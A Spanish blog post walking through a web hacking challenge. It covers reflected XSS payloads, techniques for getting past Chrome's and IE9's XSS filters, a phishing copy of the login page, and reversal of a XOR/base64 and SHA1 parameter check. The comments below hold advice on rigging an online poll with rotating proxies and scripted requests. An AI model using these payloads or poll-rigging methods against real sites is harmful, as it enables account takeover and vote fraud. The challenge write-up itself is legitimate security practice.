1- Introducción
La verdad es que me encantan los retos que prepara Chema Alonso porque están muy cuidados estéticamente. Es cierto que este reto, como su antecesor, son validados por personas físicas y llega a ser un poco coñazo, tanto para los participantes que tenemos que esperar a veces media hora para ver si una prueba es válida, como para los pobres que están varias horas al día validando nuestros numerosos intentos.
Este tipo de retos tienen como inconveniente el factor humano; y es que hay veces que una respuesta te la toman como mala y la vuelves a mandar y te la toman como buena, pero bueno, es parte del reto.
Cuando me registré y vi los logos de Google Chrome, Firefox e Internet Explorer, empecé a olerme (supongo que como todo el mundo) que se trataba de un reto basado en vulnerabilidades XSS, pues tenía toda la pinta de que el reto iba de saltarse algo en los 3 navegadores. Así que un buen comienzo, antes de empezar el reto, es leerse bien los solucionarios del BrowserSchool, escritos por Beni (buena pieza este Beni, jeje):
http://elladodelmal.blogspot.com/2010/03/solucionario-reto-browserschool-i-de-ii.html
http://elladodelmal.blogspot.com/2010/03/solucionario-reto-browserschool-ii-de.html
2- Análisis del reto
Ya pagué la novatada en el reto de BrowserSchool y me puse a probar a lo loco sin entender la dinámica del reto y, en ese caso, creo que no pasé más que un navegador; así que esta vez, me lo tomé con más calma y me leí y releí la ayuda del concurso y, me tomé mi tiempo en pensar cual era la finalidad de todo esto, antes de empezar a mandar y sufrir la larga espera de cada validación.
Tenemos 3 puertas que dan acceso a 3 salas diferentes. Cada una gestionada por un administrador, el cual usa diferente navegador para gestionar las incidencias de los usuarios.
Nosotros no tenemos acceso ya que desconocemos las claves de las salas pero, según la ayuda, el administrador es capaz de entrar a su sala sin necesidad de introducir clave alguna. Esto es importante ya que sabemos que no hay que robar ninguna clave sino que todo apunta a que hay que hacerse pasar por administrador para entrar.
Lo que nos aparece al entrar en la sala de validación es esto:
3- Fase I
Voy a escribir la solución de cada navegador por orden, tal y como yo lo pasé.
El primero en caer fue Firefox. Creo que está más que demostrado que ante errores de XSS es de los más permisivos y, por tanto, es al que más fácilmente se la podemos colar.
Analizando la página de acceso (inicioReto.aspx) vemos que al pinchar en una de las puertas se recarga la página y nos carga nuestro ID de usuario en la URL (en mi caso, inicioReto.aspx?idUsuario=950e8c2b-3a74-4f24-a809-40d32a9f73b6) y también vemos que ese ID de usuario se escribe abajo del todo. Si probamos vemos enseguida que existe una vulnerabilidad XSS. Por ejemplo:
inicioReto.aspx?idUsuario=xxx<script>alert(‘XSS’)</script>
Por supuesto, todas estas pruebas las realicé desde un Firefox, ya que, como dije, es el más permisivo en cuando a XSS.
Por otro lado, si mandamos alguna incidencia vemos que nos llega una copia del mail que recibe el administrador. En este mail viene nuestro usuario, la descripción de la incidencia y un link hacia inicioReto.aspx. En ese link viene asociado nuestro ID de usuario.
Si mandamos otra incidencia de prueba y la capturamos, por ejemplo, con el TamperData, vemos:
Ese enlace que le llega es lo que aparece en el campo ctl00%24cph2%24tbUrl. Por tanto, podemos tratar de meter algo para que al pinchar, y acceder a la web, explote la vulnerabilidad XSS que hemos encontrado.
En un principio pensé que había que robar la cookie del administrador para luego acceder nosotros manualmente con esa cookie y estuve probando algunas inyecciones en las que trataba de robar esa cookie. La forma de hacerlo fue intentando enviar un document.cookie hacia mi máquina, pero no tuve éxito.
Pensando un poco en lo que ponía en la ayuda, acerca de que el administrador entraba de forma automática, pensé que igual se podía hacer justamente al contrario, es decir, si el admin entra de forma automática, inyectarle a él mis datos para que entre usando su cookie pero con mi ID de usuario. Y así fue como ocurrió.
Si vemos el código fuente de la página nos encontramos con un campo llamado ctl00$cph2$hfidUsuario que contiene nuestro ID de usuario. El admin al entrar en la página, evidentemente tendrá el suyo. Por tanto, lo que vamos a tratar de hacer es cambiarlo para que acceda a la web con el nuestro y acto seguido, hacer un submit para que acceda, de forma automática, por la puerta correspondiente (recordemos que el admin NO necesita validación, por lo que un simple submit hará que pase por la puerta sin tener que escribir su clave de acceso).
Ahora el tema está en cómo saltar los filtros de cada navegador para poder hacer esto.
3.1- Mozilla Firefox v4.0.1
En el caso de Firefox no hizo falta saltarse ningún filtro, ya que directamente, no hay. Sólo había que ingeniarse una forma de acceder engañando al admin. Y la solución, tras varias pruebas, fue mandando en el campo ctl00%24cph2%24tbUrl esto:
http://rhinfiltrados.informatica64.com/inicioReto.aspx?idUsuario=950e8c2b-3a74-4f24-a809-40d32a9f73b6
Para que se vea mejor, voy a desglosar el script que inyecté:
<script type="text/javascript"><!--mce:0--></script>
Lo que hace esto es lo que he comentado antes, cambiamos el valor del ID de usuario por el nuestro y luego ejecutamos el submit. Y para que el script se ejecute al cargar la página, lo invocamos con un BODY ONLOAD.
3.2- Google Chrome v11.0.696.65
El segundo en caer fue Chrome. Aquí encontré una solución que yo creo que es válida, pero que no se tomó como buena en las repetidas veces que lo intenté mandar. A ver si Chema me explica porqué no iba }:->
Una vez entendida la dinámica tras superar el obstáculo usando Firefox, ya tenemos clara la finalidad y lo que tenemos que hacer, por lo que antes de mandar a lo loco incidencias, tenemos que probar a ejecutar, sin mandar incidencias, un simple alert usando Chrome. La cosa no fue fácil ya que trae un filtro anti-XSS, pero bueno, encontré googleando varias formas de saltárselo y una de ellas es cargando un fichero externo, tal que así:
<script src=http://url/file.js?
Y metiendo en file.js un alert, por ejemplo (sin poner las etiquetas de script):
alert(‘XSS’)
Como ya tenemos una forma de inyectar, el siguiente paso es probar a cambiar el ID de usuario y hacer el submit. Por lo que file.js quedaría así:
function f() { document.aspnetForm.ctl00$cph2$hfidUsuario.value=’950e8c2b-3a74-4f24-a809-40d32a9f73b6′; document.aspnetForm.submit(); } window.onload=f;
Esto dio bastante guerra ya que no terminaba de funcionar. Así que puse un alert delante y otro detrás y vi que se ejecutaba el primero pero no el segundo. Mirando con la consola de Chrome, aparecía un error diciendo que ctl00$cph2$hfidUsuario no existía.
Obviamente, si inyectamos ese código en el que no cerramos el script, todo lo que hay detrás queda inservible. Por lo que una solución fue modificar el script para que creara de nuevo ese input, quedando el fichero así:
function newInput() { var inpt = document.createElement(‘input’); inpt.type=”text”; inpt.name=”ctl00_cph2_hfidUsuario”; inpt.id=”ctl00$cph2$hfidUsuario”; document.aspnetForm.appendChild(inpt); document.aspnetForm.innerHTML+=” ”; } function f() { newInput(); document.aspnetForm.ctl00$cph2$hfidUsuario.value=’950e8c2b-3a74-4f24-a809- 40d32a9f73b6′; document.aspnetForm.submit(); } window.onload=f;
De esta forma ya no daba error y, al menos en el mail que yo recibía, iba todo bien, pero no me dieron por válida esta solución.
Así que probé otro método que encontré para saltar el filtro de Chrome y que consistía en usar iframes:
<iframe src=’data:text/html,<script src=http://url/file.js></script>
Que en local iba bien pero tampoco fue una solución válida.
A estas alturas y ya bastante desesperado, sobre todo pensando en que IE9 iba a ser mucho más difícil aún, lo que probé es a pasar el reto sin la necesidad de explotar ningún XSS, accediendo al eslabón más débil, el humano … y voilá!
La solución pasó por enviar en el campo ctl00%24cph2%24tbUrl http://url
Donde esa URL era una IP mía en la que había una copia exacta de inicioReto.aspx, con mi ID de usuario y añadiendo al final de la página:
<script type="text/javascript"><!--mce:1--></script>
3.3- Internet Explorer v9.0.8112.16421
Este reto lo pasé exactamente igual que con Chrome (supongo que con Firefox también se habría pasado sin problemas) aunque como estuve realizando las pruebas por la noche, con el reto cerrado y, al mismo tiempo que preparaba la inyección para el Chrome, hice algunas pruebas y, la forma de saltarse el filtro de IE9, al igual que IE8, es añadiendo un %0a en la etiqueta del script, algo así:
<sc%0aript>alert(‘XSS’)</script>
Estuve probando la técnica usada por Beni en el reto de BrowserSchool y que consistía en superponer una imagen exactamente igual a la que aparecía en el reto pero que al pincharla llevara a mi IP. Aquí me encontré el problema de que el filtro del IE9 elimina los puntos de las URLs así que para saltarlo use como URL el valor decimal de mi IP y al script quitarle el punto … algo así:
http://3232235876/filejs
En este caso, al contrario que en la técnica anterior, no se podía hacer un submit de forma automática y había que esperar a que el administrador pinchara en la puerta. Al final, esta solución tampoco me la dieron por buena.
Y como dije antes, la pasé exactamente igual que con Chrome.
Tras pasar los 3 navegadores, podemos ver algo así:
4- Fase II
Para mí esta fase fue más divertida que las anteriores, ya que odio los XSS jeje y además, no requería de ninguna validación por una persona física. Esto daba más libertad para realizar pruebas.
Que fuera más divertida no quiere decir que fuera más fácil 🙂
Al entrar en el reto vemos esto:
En la URL nos aparecen 2 parámetros (mail y app_hash) y al pinchar en el botón Entrar nos dice que el mail no corresponde con el hash.
La URL es esta:
http://rhinfiltrados.informatica64.com/F@S%E2%82%AC_TW0_INI.aspx?mail=CAoLAAIdARUWDhcGHCYAAhIdEwkOBwANB19YWhwEEA%3d%3d&app_hash=97c4655a4b1e7d07477a6c53a901bf691d9405a7
Y los parámetros:
mail=CAoLAAIdARUWDhcGHCYAAhIdEwkOBwANB19YWhwEEA==
app_hash=97c4655a4b1e7d07477a6c53a901bf691d9405a7
Aparentemente, tenemos que conseguir un mail que concuerde con un app_hash y, para ello, lo que vamos a hacer es analizar cada uno de los parámetros.
El mail es claramente un base64 que si hacemos un unbase64 vemos algo ilegible. Tras varias pruebas con los HEX obtenidos vi que aplicando un XOR con la palabra infiltrados aparecía algo que llamaba la atención:
unbase64(mail) XOR ‘infiltrados’
_XZ###strad##&####
Así que probé a concatenar la palabra:
unbase64(mail) XOR ‘infiltradosinfiltrados’
_XZ###strador@informat
Y con algunas pruebas más:
unbase64(mail) XOR ‘infiltradosinfiltradosinfiltrad’
administrador@informatica64.net
El sencillo script que usé fue (en perl, of course! 😛 ):
Supuestamente necesitaremos codificar nuestro mail (con el que nos registramos al reto) para poder validarnos correctamente, por lo que hacemos la operación inversa para calcular el base64 correspondiente, en este caso, al mail con el que me registré (pepeluxx@gmail.com) … menos mal que no usé ninguna dirección guarrona xDD
Bueno, pues el script que usé es:
Evidentemente, la palabra que se usa para hacer el XOR debe tener la misma longitud que mi mail. Y el resultado:
base64(mail XOR ‘infiltradosinfiltr’)
GrkWDAABChkkCB4IBwpHDxsf
El segundo parámetro, app_hash, podemos ver que tiene 40 bytes por lo que una posible codificación es SHA1 o RIPEMD160.
Preguntando el resto de participantes (el que no haya preguntado a nadie que tire la primera piedra xDD), vi que el mail era el mismo para todos pero el app_hash variaba. Cerrando sesión y volviendo a entrar siempre tenía el mismo hash. Incluso conectando desde otra IP, este no variaba. Eso me hizo pensar que tenía algo que ver con alguno de mis datos de registro.
De manera que probé a codificar cada uno de mis datos (nick, nombre, apellidos, mail, provincia, población, incluso el ID de usuario con y sin guiones). Lo probé con SHA1 y con RIPEMD160 al mismo tiempo que usaba el base664 correspondiente a mi mail. Intenté validar usando mi mail y ese hash resultante pero no hubo éxito.
Tras esto pensé en intentar averiguar cómo estaba formado ese hash, del mismo modo que hice con el mail. Así que me creé un script que probaba todas las combinaciones de mis datos de registro (solos, concatenados a dos, a tres, etc) y luego encriptando con ambos algoritmos y buscando como resultado el valor que no daba la URL. Tampoco hubo suerte.
El siguiente paso fue añadir al script un XOR de la palabra que le metiera como parámetro. Probé con infiltrado, informatica64, el nombre de la url, mis datos sueltos, concatenados, etc … nada
Luego probé lo mismo pero combinando un base64 y el XOR o el base64 sólo … nada de nada.
El caso es que enfoqué mal la forma de resolverlo y busqué obtener ese hash que tenía, cuando lo que debía haber hecho es probarlos directamente en la URL, ya que, al final, la solución era tan simple como rebuscada. El hash era:
SHA1(mi_id concatenado con mi_mail)
Por tanto, mi solución (diferente a la del resto de usuario, evidentemente) fue:
http://rhinfiltrados.informatica64.com/F@S%E2%82%AC_TW0_INI.aspx?mail=GrkWDAABChkkCB4IBwpHDxsf%3d&app_hash=7d33c26d2bb41d320e0331363c2c036f6c7de906
Donde:
mail=GrkWDAABChkkCB4IBwpHDxsf
app_hash=7d33c26d2bb41d320e0331363c2c036f6c7de906
Y al pasar el reto vemos:
5- Agradecimientos
Como siempre, ha sido un gran placer participar en el reto. A la gente que nos gusta jugar sabemos lo difícil y laborioso que es preparar este tipo de retos. Así que, enhorabuena y muchas gracias a Informática64 y en especial a Chema Alonso y sobre todo, al equipo de gente que ha estado validando todas nuestras pruebas (sois unos cracks!! xDDD).
También mi enhorabuena a todos los participantes, en especial a Yuri, que ya podía haberse centrado en el reto de Suiza xDDD (es broma), Nadid, danigargu, Budaned y Thanar.
Y como siempre, saludos para los más grandes! Okaboy, Kachakil, RoManSoft (nunca se si escribo bien las mayúsculas del nick), Miguel Gesteiro, Int3pids (el resto), PainSec, etc etc etc
Y otro saludo también a r0i, k4dm3l, ralcaz, marcositu, ….
Hasta el próximo!
Hola pepelux, pues mira, que te escribo para hacerte una consultilla, ya que he visto el gran dominio que tienes en protocolos y programación.
El tema es que hay unas votaciones en esta página http://www.estarsseoul.org/Popup/PopOnlinePoll.aspx y solamente se puede votar una vez por día, el tema es que quería preguntarte si sabrías de alguna forma que pudiera haber para poder votar de forma anónima, evitando el envío de la ip, o evitar la comprobación de ip o algo, o por el contrario crees que será imposible? ya que al utilizar POST y tal yo no he conseguido probar nada para entrarle….
Muchas gracias de antemano, y porlomenos a ver si sabrías decirme los métodos que podrían usarse, aunque solamente sea para entretenerme un poquillo… jeje
Un saludo!
Prueba a usar proxys … qué tal un script que use una lista de proxys y haga peticiones a la web cada vez usando un proxy diferente?
Ok, pues probaré así.
Pero claro, otra duda que me surge es como hacer que de forma automatizada vaya enviando las peticiones, porque como le paso los parámetros? o debería hacerlo por inyección de javascript para seleccionar los checkbox y pulsar el boton de votación?
Muchisimas gracias por tu respuesta 😉
Vale, creo que mediante un script php 🙂
php, perl, python, c … lo que más rabia te de 🙂
Por cierto, una ultima pregunta ya puedes perdonar :S
Como sé los parámetros por los que tengo que pasarle por ejemplo la selección a votar?
thx!
primero de todo debes estudiar el comportamiento de la web. Usa fiddler2, wireshark, …
Joer vaya panfleto, tenía guardadas unas capturas que ya hice ayer con wireshark pero como había tanta letraja y tal no me enteré de que los tenía delante, y porque es la primera vez que he usado wireshark para esto claro esta jeje. Por lo que creo que los tengo aquí si no me equivoco xd:
ASP.NET_SessionId=cfkgvlzzafrfdmf2dwxs52ng__VIEWSTATE=%2FwEPDwUJLTc2MTM5MjU5ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WAQUKaWJ0blJlZ2lzdJv6LFkjczBS8V1AFhFUpJUDICnr&__EVENTVALIDATION=%2FwEWBQKXrbncBgLGoKC6AwKu2pCGAgLto%2ByJDgKWp9y0BYSABzfy0bqiKJXXseJXfgFmYEDC&hidEurope=100%2C102%2C108%2C112%2C114%2C115%2C&hidAsia=200%2C201%2C206%2C&hidAmerica=301%2C302%2C&chkEurope=100&chkEurope=102&chkEurope=108&chkEurope=112&chkEurope=114&chkEurope=115&chkAsia=200&chkAsia=201&chkAsia=206&chkAmerica=301&chkAmerica=302&ibtnRegist.x=44&ibtnRegist.y=7
Hola Pepelux eres un p*** crack! y queria saber si has encontrado alguna forma de aumentar las visitas de tuenti
Pues ya he conseguido hacer el script que haga la petición! 🙂
Pero sabrías como puedo hacer para que cuando hago una petición espere a que termine para enviar la siguiente? podría ponerle unos segundos pero si hay algo en php para esperar a que termine la petición sería perfecto.
Perdona por ser tan pesado…jeje
depende del lenguaje. En perl puedes hacer un sleep